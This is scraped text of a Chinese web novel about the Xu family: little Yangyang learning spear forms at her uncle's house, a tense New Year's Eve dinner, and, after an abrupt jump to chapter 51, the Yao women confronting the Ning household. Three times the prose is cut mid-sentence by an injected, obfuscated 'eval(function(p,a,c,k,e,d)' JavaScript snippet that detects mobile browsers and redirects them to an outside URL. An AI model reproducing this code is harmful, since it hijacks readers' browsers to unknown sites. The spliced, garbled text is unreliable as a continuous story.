“那丫鬟是哪个院子伺候的,竟是坏我好事!还有你那二嫂嫂,早不舒服,晚不舒服的,偏是这会儿子,请什么劳什子大夫上门,冲撞了王妃娘娘,她十条命也不够抵!” “阿娘!”徐榕惜厉声道,“阿娘总是这般口无遮拦,我和爹爹兄长早晚要被你连累!” “罢了罢了,一个两个的,都是金贵的,说不得。”赵氏瞪她一眼,讪讪道。 母女俩往府中走。 片刻,赵氏又低声道:“听说你大伯一早便出门了,莫不是去崔家说你的好事去了?” 徐榕惜抿唇不语,心里不觉也有些期盼。 那日堂中,她见过那位崔三郎君,面如冠玉,唇红齿白,如戏文里唱的玉面书生,家世也好…… “这事本该是你大伯母与我去说的,可惜了,你大伯母福薄,早早的就走了,不过,你大伯去也好,他是太傅,沐浴皇恩,你大伯张了口,崔家便是想推拒,也得掂量掂量……” “大伯不是那样仗势欺人的,阿娘这话别再说了。”徐榕惜皱眉打断她的话。 赵氏哼了声,不以为意,“偏你蠢的紧,官场之上权势错综复杂,哪里是那般容易说得清的。” 徐榕惜没说话,闷头往自己院子去了,片刻,忽的问:“泱泱何时跟着二哥出门了?” 丫鬟被问得一愣,“今儿二爷早早便吩咐人套了车,好像是要去武定伯府送节礼去,大抵是大院儿那边的泱泱小姐听着了,便跟着同去了。” “二哥却是连问都没问我一句,”徐榕惜垂眸道,“我都没去过武定伯府。” 丫鬟抿了抿唇,低声劝慰道:“前儿开族宴,咱们夫人说话惹得人家武定伯夫人不高兴了,二爷大抵是怕您也为难才没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要泱泱说呀,还是哥哥姐姐家好玩儿的紧! 这里有宽敞的演武场,还有许多长枪刀剑! “教教我,教教我~”泱泱跑近来,站在小姐姐旁边,照猫画虎的比划着动作。 “泱泱,好累的……”姚家小表姐悄悄跟她咬耳朵。 一群小孩儿炸了油锅似的,吵吵闹闹,自个儿马步扎的还不咋地,时不时的要偷懒儿,竟敢教小妹妹了! 姚老五气笑了,拎沙袋似的,给几个小屁崽子拎到一旁,排排站,“自个儿扎好,还没出师呢,就想翻身当师傅了?” “五叔!泱泱妹妹也想学!” 姚老五朝他屁股上轻踹了脚,道:“还轮不到你。” 20. 第 20 章 徐士钦没在后院多耽搁,与姚家舅舅小谈了片刻文章,便欲告辞。 姚老五如今不过十五,正是好玩儿的年岁,若是惹得泱泱哭…… 徐士钦心想,他回家怕是得挨老爹的揍! 武定伯也松了口气,他胸无点墨,与外甥女婿论文章,简直难为他! “时辰不早,过会儿留下一同用了午膳再回吧。” 徐士钦:“出门时阿喜身子不适,我且放不下心来,今儿便不留下用膳了,等初二陪阿喜回家,届时再陪舅舅吃酒。” 武定伯豪爽应了。 从书房出来,徐士钦唤了小厮带他去演武场,一路走得急,还未走近,却是听着了七嘴八舌的喝彩声。 他绕过甬长廊道,步入内里,便见七八个小孩儿排排站,欢喜抚掌,而那场中姚老五握着杆银枪武得虎虎生威。 徐士钦在那七八个孩童见,瞧见了穿着嫩黄裙子的泱泱,不同于读书还要丫鬟前去催促,小姑娘小胳膊小腿儿的正学着姚老五的动作比划,满脸神采奕奕,瞧得出来,是喜欢的。 姚老五挥完最后一招式,利索收了抢杆,额上布了层汗,他抬起手臂便用袖子抹了去,放荡不羁也不规矩。 “五叔好厉害~”泱泱拍着小手,哒哒哒的跑近来,指着那长剑说:“五叔玉树临风,用这柄剑定然也好英俊的~” 小姑娘眨着大眼睛,满脸真诚。 姚老五喘着粗气,扫了眼那柄长剑,却是睨着她问:“偷师可偷到了?” 小泱泱有些羞羞脸,捂着脸脸跑开,嘿嘿笑~ 从大锤耍到长枪,那武器架上的半数都使了一遍,姚老五他就是个木头脑袋,也看明白了这小丫头的心思。 嘴巴甜的好要命,哄着他耍,他还未欺负人,倒是成了那斗兽场的小兽,表演给他们瞧热闹。 姚老五一屁股在武器架的木板前坐下了,招手唤泱泱,“你来演示一遍给我瞧瞧。” 总不能只他当猴儿给他们瞧吧。 泱泱不知他所想,却是欢喜的,跑来要去拿那柄长剑,给姚老五拉住了。 “赤手空拳的演就是。”他说。 这武器都是府上的男人们用来练武的,重的很,若是给她砸着脚,该是哭了。 不说这些皮猴儿,就是他,都是七岁才有武器的。 泱泱小嘴巴幽幽叹声气,满脸的‘你又不信我’的神色瞅他。 姚老五瞧乐了,握着她的小手臂捏了捏,道:“赶明儿我亲自让人给你锻炼一柄轻巧的。” 泱泱这才满意,又嘴巴甜一句:“五叔送我的小矮马,我也喜欢呢~” 说罢,她噔噔噔上了演武台,像模像样的比划着方才他的动作。 底下小表兄小表姐的,扒着台子瞧,“泱泱好聪明!都记住啦!” 姚老五也面色有些诧异,这套枪法,他自五岁练,也练了足有半年,才算是有了些模样,泱泱才三岁啊! 远处站着的徐士钦,看着澄明的日光下,那小小一团的姑娘,忽的明了了老爹先前说的,泱泱聪慧更甚大哥。 他心口忽的涌上些触动来,若泱泱是男子,日后徐家定可安心交给她,可惜了…… 只是三岁的小姑娘终归是力气不足,显得招式绵软,姚老五翻上演武台,指点泱泱的动作,“手臂打直,用力……” “再来一遍这招……” “泱泱妹妹好棒!” “妹妹厉害!” “嘿嘿~妹妹好可爱~” 约莫小半个时辰,徐士钦才从远处走近,“泱泱,咱们要回家了。” 泱泱厚厚的棉袄脱了袖子,不整的扎在圆滚滚的小腰上,小脸儿红扑扑的,眼睛却是漆黑透亮,撒娇道:“我想在五叔家住住~” 徐士钦:! “你不想你爹了?他还在家等你吃饭,还有阿敏,你祖父,你婶娘……” 他每提一人,那张小脸儿上的纠结神色便多两分,最后乖乖伸手臂,“二叔抱~” 姚老五难得遇着这样不喊累、且奋发图强的‘好学生’,颇为不舍的挠脑袋,“要不……我跟去你家住住?” “我也去!” “我也要去!” “我跟泱泱睡一屋!” “我想表姑姑啦!” 几个小萝卜头争先恐后的举手手。 徐士钦:…… 徐士钦带着泱泱回来时,正赶着用午饭。 姚家的几个小孩儿,自是没带回来的,这年关下到别人家小住是为失礼,武定伯夫人头一个不答应。更何况,家里徐榕惜将及笄,姚老五虽是亲戚,但也是外男,不好冲撞着女眷。 午膳摆在了厅堂,徐鉴礼看向二侄子,问:“你爹晌午不回来?” 徐士钦道:“今早便去衙署了,这会儿没回,大抵是要等晚间了。” “去了衙署?”赵氏陡然提声。 徐士钦不明所以,但还是颔首答话道:“一早便有小吏来叩门,多半是衙署有要事。” 徐九涣吃了片云腿,闻言,挑着眼尾道:“二婶儿找我爹有事?” 赵氏不怕徐士钦,这人与他爹一样,是文人君子,可却是有些畏惧这大侄子,徐九涣这厮是混账,给不给旁人情面,全看他自个儿高兴与否。尤其是他那双眼睛,眼下虽是笑着的,但直直看来时,像是能将人的心思窥见,半分不剩。 赵氏打了个磕巴,含糊道:“哪儿能啊。” 徐九涣不置可否的‘嗯’了声。 饭后,徐士钦喊了徐九涣去,将泱泱跟着姚老五玩儿的事与他说了。 谁知,徐九涣竟是平静道—— “哦,那你这个当二叔的,替泱泱聘一位武先生来吧。” 说完,拢着披风闲庭阔步的走了。 徐士钦:? . 徐鉴实回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223574|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得稍晚些,庭院安静,檐下灯笼一盏接着一盏的亮着。 “去请二老爷过来。” 小厮躬身去了。 片刻,屋中炭盆烧得正旺,徐鉴实倒了碗热茶,等到了徐鉴礼过来。 兄弟俩促膝而坐,徐鉴实斟酌一瞬,道:“你我亲兄弟,我便也开门见山的说了。” 徐鉴礼看着他,忽的意识到了他说的何事,目光不觉带了些期盼。 “我今日请崔家家主吃了顿酒,试探了两句,人家说,崔三郎如今已及冠,万事全凭他自己的心意,家里不拘他什么,榕惜这事,估摸着是不成了。”徐鉴实徐徐道。 徐鉴礼缓缓呼出口气,竟是有几分松了口气的释然,“不成便不成吧,万事讲究缘法,榕惜与他无缘,辛苦大哥了。” 徐鉴实摆摆手,“与我说这虚客气的做甚,你倒是须得与弟妹好生说说。” 说起赵氏,徐鉴礼顿时心里苦,却也得应下。 兄弟俩分开,各自回了院子。 赵氏自是不满,当夜便发了一通脾气,这事自是瞒不住,府中几个院子都多少听了一耳朵。 而赵氏,连着徐家旁人也瞧着不顺眼,年前几日,都没再露过面。 徐榕惜虽是觉着可惜,也有些失望,但本就谈不上情根深种,自也不会非他不可,难过一会儿,便也罢了,日日去苍邬院里,帮衬宋喜操持些繁琐杂事。 除夕前一日,万事总算是安置妥当。 宋喜长舒口气,吃了两盏茶点,忽的起了兴致,邀徐榕惜去赏梅花。 日落群山,澄黄的光晕还未从远处散尽。 徐榕惜笑道:“这般景致,二嫂该是与二哥赏梅去才是。” 宋喜被丫鬟扶着,身上穿着厚重的披风,只有巴掌大的笑脸露着,闻言,抿唇笑说:“他都没惦记着与我赏梅,我自也不是非他陪着不可,便是自个儿来赏这景,也不算辜负。” 徐榕惜神色微怔。 她一直以为,这位小门户出身的二嫂,是依着男人活的,也该是如此的,出嫁从夫,谁家不是如此?她阿娘再是喜欢汴京,不也还是跟着爹爹回了晋陵? 可这话,她才忽的惊觉,倒是她小瞧了这位二嫂。 宋喜神色疑惑,问:“怎么了,我说错话了?” 徐榕惜恍然回神,摇头道:“不是,二嫂说的对,这景赏了,便不是辜负。” 几缕余辉,渐渐被黑暗吞噬。 姑嫂二人方才出了梅园,打算去前厅用晚膳。 没走几步,便见一道暗色身影稳步朝她们行来。 “二哥。”徐榕惜瞧清来人,福身行礼。 徐士钦与她微微颔首,替了丫鬟搀扶着妻子,“怎的去了这么久,冷吗?” 问着,手握住了宋喜的。 徐榕惜眼睫动了动,继而挪开,非礼勿视。 她想,阿娘说的对,二嫂确实好命。 21. 第 21 章 除夕一早,徐九涣是在‘滋滋滋,哗哗哗’的动静中醒来的。 他卷着锦被翻了个身,惺忪的眼眸勉强睁开一道缝,看着榻边坐着的小姑娘,问:“做甚?磨刀霍霍向猪羊?” 毛茸茸的脑袋咻的扭了过来,泱泱咧着嘴巴笑,“爹爹醒啦~” 徐九涣揉了揉困恹恹的脸,赖在床榻不愿的起,睁着眼说瞎话:“没……” 泱泱将擦拭好的刀抱去放好,才哒哒哒的跑回来,扯着他的手臂欲要拽他起床,嘴上还十分老成道:“太阳都晒屁股啦~” 徐九涣仿若一滩烂泥,半分力气不使,与她讲道理:“你睡觉都不让我吵你,怎的能吵我呢?” 泱泱累啦,啪叽一脑袋撞在他胸口,小小一团趴在爹爹身上,小手拢着他的耳朵说悄悄话。 “我梦见阿娘啦~” “爹爹,阿娘说想我,嘿嘿~” “爹爹,你梦到阿娘没?” 徐九涣一只手臂抱着她,闻言,心口狠狠一酸,仿若沼泽塌陷,他抬手拨去她蹭在脸颊上乱糟糟的头发,嘴上哼声,说着混账话:“便是梦着,我也不能喊她娘。” 泱泱捂着小嘴笑,“我要告诉祖父!” 徐九涣顿时啧了声,“你如今倒是与你祖父天下第一好了?” 泱泱瞧着爹爹睨她的小眼神,抿着嘴巴哄道:“我跟爹爹天下第一好~” “才不信。” “真哒~” “那你可还要与你祖父说?” “……要说的,嘿嘿~” 简单梳洗罢,徐家众人集聚祠堂,为祖先敬奉香火。 徐九涣将香火插进香炉,睨着自己亲刻的那牌位,心里低骂:个偏心眼儿的…… 孙辈只泱泱与阿敏,两人跪在蒲团上,模样认真的磕头。 宋喜颇为紧张的看着闺女,生怕手中的香火将她烫着,待得磕完头,便想将那香火接过,却是见泱泱将小妹妹手里的香火拿走了。 小姑娘亲自将袅袅的香火供奉,与香案上的牌位嘀咕道:“妹妹小,我替她啦,等妹妹长大就可以奉香啦,要保佑妹妹……” 用过早饭,各自忙去。 不多时,府中各处皆张贴着红纸剪裁的福字和对联,唯有春居堂仍旧是一派素色,不见过年之喜气洋洋。 “堂小姐。”院里伺候的丫鬟与门前的人问安。 徐榕惜收回目光,笑吟吟道:“我蒸了些米糕,端来给泱泱尝尝,泱泱可在?” 丫鬟放下手里的活儿,迎道:“我们小姐在的。” “小姑姑!”一颗小脑袋从窗棂钻出来,喜盈盈的喊,“小姑姑快来!” 徐榕惜笑了笑,提起裙摆正欲抬脚,瞳色忽的一怔。 只见那窗棂之上,张贴着一张‘孝’字,笔触稚嫩,一板一眼。 徐榕惜忽的想起,今早在祠堂瞧见的那崭新的的牌位——徐九涣之妻。 那这院中缟色是为何,自也不必猜。 “小姑姑?”泱泱疑惑。 徐榕惜将食盒递给院子里的丫鬟,道:“我还有事,便不坐了,泱泱玩儿吧。” “好叭~”泱泱趴在窗棂处,贴心道:“小姑姑慢走~” 后面站着的绿稚,心里却是不痛快,堂小姐那日便见了,又何必今日再来一遭,她们小姐聪慧,若是瞧出那嫌弃来……恶心谁呢! 小丫鬟拎着食盒进来,便见绿稚姐姐神色不虞,顿了顿,将那食盒放下便要退出去。 “我尝尝~”泱泱放下包压岁钱的红纸,爬下软榻踩着鞋过来。 小丫鬟伺候巾帕擦手,又擦一遍,才出去倒水。 米糕寻常,但上面点缀着红枣干,显得喜庆些。 泱泱吃了一块儿就没再吃,贴心道:“给爹爹留着。” 绿稚噗嗤笑了声。 瞧,她们小姐多好啊,便是不好吃,不爱吃,也委婉的很。 “小厨房在包浮元子,奴婢去给小姐煮几颗来。”绿稚道。 泱泱:“好!” 房中伺候的几个丫鬟,皆忍不住噗嗤笑出了声。 . 临近傍晚,徐鉴实穿戴整齐官袍,便出门去赴除夕宫宴了。 檐下灯火辉煌,将院子照得亮堂堂,一家子坐在暖阁里嗑着瓜子闲聊。 徐鉴礼与徐士钦谈论新读的文章,徐九涣领着几个半个孩子推牌九,泱泱握着小妹妹的手教其写字,宋喜在旁绣荷包,瞧得哭笑不得。 “你祖父若是瞧见,怕是得欣慰得老泪纵横。”徐九涣在牌桌上瞧热闹,哼笑道。 泱泱抬起脑袋说:“妹妹喜欢读书!” 小阿敏:“呀~” 正闹着,暖阁的棉帘子被丫鬟自外掀起,赵氏与徐榕惜进来了。 屋中的笑闹声静了一瞬,几双眼睛都落了去。 赵氏被这般瞧着,只当是这许多日没出来,他们在心里笑话她痴心妄想,顿时心里冒了火儿,冲着徐鉴礼发作道:“瞧我做甚?你们一家子吃团圆饭,我不必来?” “你这说的什么话?”徐鉴礼不耐道。 只当着这许多小辈的面儿,也不好训斥什么,道:“来了便坐上两刻,等一会儿用饭。” 宋喜见状,扶着肚子起身,打圆场道:“二婶与榕惜妹妹来这儿坐吧。” 赵氏倒是也没落她面子,过去坐了。 她瞧着笸箩里宋喜绣了一半儿的荷包,嫌弃道:“这色暗沉沉的,你这眼光着实不好。” 宋喜神色一顿,道:“给二爷绣的,艳色倒是衬得他不够沉稳。” 那厢,徐士钦闻言回头道:“那料子是我挑的,二婶便是说,也该是说我。” 赵氏撇撇嘴,目光在屋里扫了圈,道:“我哪儿敢说你啊,赶明儿你升官,得入宫参加除夕宴,这屋里也就咱们几个不长进的吃团圆饭罢了。” 说罢,她又道:“你爹怕是将那宫宴都吃腻了,我跟你二叔还有弟弟妹妹们,却是连宫宴是什么样子都不曾瞧过呢。” 这话酸得倒牙,徐鉴礼对着几个小辈,臊的脸滚烫。 屋里玩闹的几个男娃也不敢出声,气氛安静得诡异。 “二婶想见识宫宴,简单啊,”徐九涣握着牌,头也不抬的道,“宫中总要选宫女的,二婶虽是年老色衰,但倒夜香的想来是不拘年岁,去试试呗。” 赵氏刚因他前半句话而飘起的心,顿时又在听得后半句时啪嗒摔了下来,她顿时恼道:“我怎么说也算是你长辈,你怎敢与我这般说话!” 徐九涣幽幽抬眼,面上无甚表情道:“我还是六品员外郎,你又是骂谁不长进呢?” 赵氏顿时神色一变。 徐九涣入朝为官之事,徐鉴实没去信晋陵,而他们来汴京时,官员早已放假,是以,赵氏竟是不知,连徐九涣这般读书不成的都当官儿了! 赵氏脸上火辣辣的! 满屋子,也就他们一家子没功名、没官身! 徐鉴礼触得妻子的眼神,便知她气得什么。 他倒是听兄长说了这事,给大侄子求了个蒙荫官职。 屋里的气氛愈发的诡异。 徐榕惜缓缓开口道:“大哥莫要生气,我阿娘就是羡慕,不是成心骂你……” 徐九涣不咸不淡的扫她一眼,“既知是蠢,那便让她管住嘴,大过年的寻谁的晦气呢。” 平日里,也就徐鉴实能约束着他些,这会儿老头儿不在,竟是没谁敢去管这混账。 徐鉴礼悻悻的搓了搓手,徐士钦坐着充耳不闻。 赵氏倒是憋着想说什么,但又唯恐他说出更难听的话来。 徐榕惜原是想打圆场,但被怼了这么一句,顿时红了眼睛。 泱泱大眼睛骨碌碌的转,瞅瞅这个,看看那个。 咋的了,爹爹也没生气呀~ 因这不快,安静的用过团圆饭,便各自散了去。 泱泱正想要洗个香香的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车走远,徐鉴实抬袖蹭了蹭眼睛,一扭头,便见长子舒展了个懒腰,悠悠哉哉的往府里走,顿时心里憋火道:“你为人父的,竟是不送出城去?” 徐九涣头也没回道:“送君千里终须一别,平白耽搁他们赶路时辰。” 徐鉴实噎了下,无言以对。 父子仨各自散了。 晌午用饭,徐九涣没过来。 晚间用饭,徐九涣还是没来。 宋喜小声道:“要不让人去瞧瞧?” 徐鉴实淡定端起碗,“不用,他多半是想泱泱了,躲着哭呢。” 宋喜想想阿敏离了她身边,顿时感同身受的点头,“还是不吵大哥了。” 将近三更天,夜深人静时,徐府的门被敲响了。 不多时,几道急促的脚步声直奔徐鉴实书房去。 “老爷!” “何事?”徐鉴实将一摞大字好生放进抽屉里,问了句。 门打开,却是见几张风尘仆仆的脸。 “你怎的回来了?泱泱呢?”徐鉴实急忙问。 绿稚满脸尴尬,双手奉上一封书信,硬着头皮道:“老爷,这是大爷让奴婢给您的,大爷说,您瞧了便明白了……” 徐鉴实接过,撕开蜡印,打开信笺,只见上面龙飞凤舞、兴高采烈—— ‘流浪去也!’ 徐鉴实顿时两眼一黑,倒吸口气! 这个逆子!!! “……咳,”绿稚觑着他的脸色,又将一张折子递来,小声说:“这是大爷的辞表……” 门外的管家犹豫片刻,也低声:“老爷,大爷今早从您账上取走了好大一笔银子,不让我说……” 徐鉴实:! 50-60 第51章 撑腰。 段晁吞了吞喉咙,抬手便握住那截腕子,朝自己这边轻扯了下,哑声道:“揍我?” 姚宝湘仰着头,被他扯得半边身子都趴在了窗前,有人瞧见,不禁多投来两眼。 她脸微热,却是硬气道:“揍不得?” 理不直气还壮。 段晁险些气笑了。 “我惹你了?” 姚宝湘重重点头,道:“你今日穿的衣裳我不喜欢!” 这便是找茬儿了,偏让人对她没招儿。 段晁瞥她一眼,意味深长道:“你今日穿的好看,我喜欢。” 姚宝湘今日穿了件嫩绿的夹棉袄子,袖口缀着一圈雪白兔子毛,瞧着跟雪覆嫩芽似的。 她身子本就丰腴,此刻压在窗棂上,愈发显得呼之欲出。 姚宝湘本就微热的脸,顺着他的眼神垂首,腾的一下烧得满脸通红,被握着的腕子挣了挣,气得骂:“不要脸!” 段晁不置可否,望了眼身后的夜市灯火,问:“可要去逛逛?” “谁要跟你同乘一骑!臭死了,起开!” 姚宝湘骂完,手腕顺势一扭,整个人缩进了马车里,紧紧的压住车窗帘子。 外面没动静,姚宝湘刚要松口气,扭头便对上了几张憋笑的脸,顿时卡了下,羞恼道:“哎呀,烦死啦!” 说完,又催马夫赶紧的赶车走。 姚宝璐说:“我倒是瞧着二姐夫好些,至少你不会被欺负。” 姚宝湘登时气势嗖的窜上天,挺胸抬头,骄傲哼声道:“他敢!” “也是因着二姐姐与段表哥相熟,”姚宝芳说,“大姐姐与姐夫成婚前可是没见过的,若是要大姐姐这般蹬鼻子上脸的欺负人,大姐姐哪里会?” “也是。”姚宝璐点头。 姚宝湘整了整衣裳,低着脑袋说:“还是不能轻易喜欢谁,若是将心交付了,那便是将软肋给了他,哪日若是他要纳妾,伤的只能是自个儿。” 华缨睁着圆眼睛,直点脑袋。 湘表姐读书多,得听! 后面被落下的段晁,悠悠的催马回府,片刻,没忍住垂首嗅了嗅自己。 前些时日官家下令,废了营妓,太子受命将那些女眷与伤残将士一并安置了,不知何处传来风声说,五月初五端午节时,宫中龙舟赛,官家有意抽东西二营的兵卫划龙舟比试,这些时日两个营的将士都较着劲儿操练呢,他一个骑都尉自也不甘落后,今日还算好,没怎么出汗,就那么一点儿汗味偏给她闻见了。 娇死了。 华缨和华敏回来时,家里正要摆饭。 “去哪儿玩儿了?” 徐九涣屈着条腿懒在软榻上问。 旁边煮茶的徐士钦无语的翻了眼,自个儿都是与狐朋狗友鬼混一日回来的人,也就只比这姐妹俩早一刻钟进门,竟是扬着下巴兴师问罪似的。 “去看蕙表姐了,”华缨说着,蹭过来挨着爹爹坐,“蕙表姐有身孕了。” “喜事儿啊,”徐九涣摸着下巴问,“哪日摆宴,带我一块儿吃席。” 华缨乖乖的:“好。” 徐士钦眼皮抽搐了下,颇为无语的正想扭头怼那不要脸的两句,就见妻子过来了。 华缨今岁十五了,春末便是生辰日,要行及笄礼的,这于姑娘家是大事,宋喜这段时日忙得分身乏术。 她进来,瞧见这姐儿俩,问:“回来啦,阿蕙身子如何?” “蕙表姐挺好的,就是她婆母坏死了,要给姐夫抬通房。”华敏说起就觉生气,嘟着唇满脸不高兴。 她素来懒,又有华缨这个万事冲在前面的阿姐,更是懒怠了,这般恼,还挺少见的。 这话出口,屋里几人对视一眼,皆有些无言。 徐九涣轻呵了声,眼珠子一转,看向闺女,“你没闹事吧?” 华缨:? 信任呢?! “……我哪有那样不懂事?”华缨木着脸幽幽道。 徐九涣挠挠下巴。 这倒也不是,就是这闺女虽是他带大的,可他‘随遇而安’的好处,也就学了五分去,那剩下的五分,随了根儿的嫉恶如仇。 华缨哼了声,脑袋一别,起身去与婶娘说话了。 华敏也滚了过来,姐妹俩一边儿靠一个,听宋喜低低絮语。 宋喜说:“姑娘家成亲后,少不得受些委屈,”她说着一顿,朝那煮茶的人看了眼,目光收回,声音低了些,“我嫁你二叔倒是没有那些乌糟事,那也是你们祖父教得好,成亲前我外祖母教导我说,旦是有孕,便将身边的丫头抬了通房,有往日情分在,好过爷们儿自个儿在外寻花问柳的往府里带,我不知许多事,聪慧也不及你们姐妹,能教你们的委实不多,往日外祖母教导的话,今儿与你们说了,你们挑着听就是了。” “那被抬了通房的丫头也挺倒霉,”华敏嚼着蜜饯儿说,“人家本能在寻常人家当家,可当了通房,与下人无异。” 宋喜轻摇首道:“可也有许多丫头,想要搏一搏,若是得了爷们儿的宠爱,再得个一子半女的,上头的夫人宽慰豁达些,她们的日子也不见得难过。” “女子只能依靠男人过日子?”华缨张唇说,“我偏不信。” 宋喜笑了笑,低声道:“当家主母的女子,娘家强势些,自个儿也能挺直腰杆儿,不必借着男人的恩宠过日子,宁家夫人想给自己儿子抬通房,可你们外祖家,你们大伯母娘家还没落魄到除了爵呢。” 翌日。 武定伯府的马车便停在了宁府门前,上面下来两位衣冠华服的夫人。 武定伯夫人稍抬眼,贴身嬷嬷便使唤小厮们将马车上绑着的樟木箱子往府里搬。 门前的护卫瞧见这动静,刚准备偷摸儿的去通报,便见那二位华贵的妇人站在门前,十分有礼道:“劳驾通报,大少夫人的母亲和二婶来瞧她了。” 消息跨过几道门,传到了后院去。 不消片刻,宁夫人身边的贴身嬷嬷出来亲迎,端着笑模样道:“亲家夫人来了,我们夫人听着人禀报,忙让老奴来迎二位夫人。” “客气了。” 武定伯夫人道,面上却是不见笑,与姚二夫人一道越过那嬷嬷入府去。 “那可是给小主子的东西,都仔细些,磕了碰了的莫怪夫人罚你们。”武定伯夫人身侧的嬷嬷指挥小厮说。 门前宁夫人的嬷嬷眼皮抽了下,随在那端淑威严的两道身影后进了府。 她心里腹语:也不瞧瞧这是谁家门楣,搁哪儿摆谱呢。 穿过二道门,武定伯夫人道:“昨儿家里几个姑娘过来,说是没给老夫人请安,今儿我们妯娌登门,老夫人见是不见?” 她语气平淡,好似寻常的问,只那睥睨来的一眼,却是让嬷嬷眼神闪了闪。 世家养起来的贵气,纵然爵位一落在落,在这偌大的汴京城,他们也是世家贵胄,宁家祖上如何风光,在当朝都不好提起,因着朝上那两位老爷不结党,又因官家重文臣,宁家才被人称赞两句清流,勉强与武定伯府搭上。 “亲家夫人说的哪里话,咱们夫人也做不得老夫人的主,不过,有下人去通报了,该是坐会儿便有信儿了。”嬷嬷赔笑道。 姚二夫人轻嗤了声,手肘轻怼了下大嫂,道:“瞧瞧,人家这排场比公侯伯爵府都大呢,当日求娶咱们家大姑娘时,可不是这态度啊。” 嬷嬷脸上的险些没挂住。 武定伯夫人道:“既是登门,没有不给老夫人问安的道理,先去老夫人处吧。” 话落,便见那嬷嬷神色变了变,期期艾艾的欲张口。 武定伯夫人没等她说话,说句让她领路不过是给宁家几分颜面罢了,这府上她来过,自也知道宁老夫人的院子如何走。 这仲春时节,嬷嬷冷汗都要滴落了,她手握拳,快步跟上,一路竟是没瞧见个丫鬟,连个偷偷去传信儿的都指望不上! 只盼着、只盼着…… 进了院子,嬷嬷顿时腿一软,险些没跪下! 走在前面的武定伯夫人脸唰的沉了,宽袖里的手攥成了拳。 只见檐下,姚宝蕙正跪着。 她们来的时辰早,这会儿也将将是用过早饭,日光稀薄,透过云层都不觉几分暖。 “阿蕙!” 姚二夫人喊了声。 这一动静,惊了屋里的人。 宁家子息丰盛,几个女眷顿急忙掀帘出来,便见姚家两位夫人欲要吃人的脸。 正堂里。 宁老夫人坐一侧,武定伯夫人坐一侧。 姚二夫人拉着姚宝蕙的手在下首坐,姚宝蕙站着挣了挣,眼神示意。 姚二夫人好似没瞧见,朗声道:“坐啊,跪傻了?” 姚宝蕙:…… 武定伯夫人瞥来一眼,冷声道:“我便是这般教你的?自个儿身子不顾,腹中孩子要如何?” 姚宝蕙垂着的眼睫颤了颤,眼圈忽的红了,挨着二婶坐下了。 宁家几房妯娌挤着站在对面,神色满是尴尬。 “不知我家这孩子,犯了什么大错,劳驾亲家老夫人病里还爬起来罚她?”武定伯夫人收回目光,看着对面老态矍铄的人问。 “亲家夫人这话说得,我们老夫人哪里就病了,这不是咒人嘛。” 宁家三房的夫人说。 武定伯夫人凌厉的一眼瞥来,道:“宁家的规矩便是如此?我与老夫人说话,何时轮到了你随意插嘴。” “伯夫人息怒。”宁老夫人终于开口道。 那双老态的眼睛往底下的孙媳妇扫了眼,道:“大郎媳妇儿管账,出了纰漏,这家里人多,规矩不能废,便只能罚她跪半个时辰以作警醒。” 姚二夫人冷嗤了声,“当真是……重规矩的人家呢。” “……” “阿蕙进你们家门前,我便着人打听过,宁家两位老爷不是做生意的料,是以,老太爷去世前,便将家里的产业分了几份儿交给了儿孙,如此,宁家的家业都是分开的吧,大房除了大郎,还有两个庶子,两个姑娘,都还未成亲,这是……嫂夫人将自己捏着的那份儿大房的薄产交给了阿蕙?”姚二夫人问。 “…………” 薄产哪里是这么用的?! “差了多少银子?”姚二夫人无视那几张神色难看的脸,问侄女儿,“家里何时缺过你们姐妹银子花用?你夫家若是没钱吃饭,你回来张张嘴有何难,瞧这两月没见瘦的,平白惹你娘心疼。” 宁老夫人的脸色都不能用难看形容了,姚二夫人这话简直了往她脸上扇巴掌! 宁家几房妯娌也憋得够呛,可有方才武定伯夫人指责她们插嘴,这会儿也没谁敢再插话。 “二夫人此言差矣,我宁家虽是不比夫人娘家是巨贾,但家里也不差银钱。”宁老夫人道。 古往今来,士农工商,商为末。 姚二夫人出自商贾人家,在一众自诩书香门第的跟前,身份自是不够的,这话明摆着是刺她。 姚二夫人冷笑了声,“那为着一文钱两文钱的,罚有孕的孙媳妇儿大冷天的在檐下跪着?我当是今日每米下锅了呢。” “规矩不能废。”宁老夫人沉声道。 “在媳妇儿孕中,欲纳表妹为妾的,敢问是哪门子规矩?” 缄默了片刻的武定伯夫人,忽的问。 “夫人这是自哪儿听闻的谣言?”宁老夫人矍铄的目光,似是好笑。 二人对视片刻,武定伯夫人道:“没有最好,我家姑娘嫁来贵府,也不是来吃苦受委屈的,这种在妻子替他受苦生育子嗣,自个儿迫不及待与表妹妾室厮混的姑爷,我们武定伯府也要不起。” 宁老夫人眼睛骤然紧缩了下。 “夫人这话是何意?” “老夫人何必揣着明白装糊涂,我们武定伯府再是落魄,也养得起自家闺女外孙,”武定伯夫人目光笔直的看着她,“他宁元雪若是不想过了,休书明日便给他送来。” 说罢,她没再看那张老脸,扭头吩咐嬷嬷,“扶大小姐上马车,咱们回家。” 嬷嬷:“是。” 第52章 及笄宴。 “真的?!”华缨吃惊问。 姚宝湘懒在她的美人靠上,吃着黄澄澄的杏子点头,“淡定啦,大姐姐又不是糊涂蛋,宁家那些人就是欠收拾。” 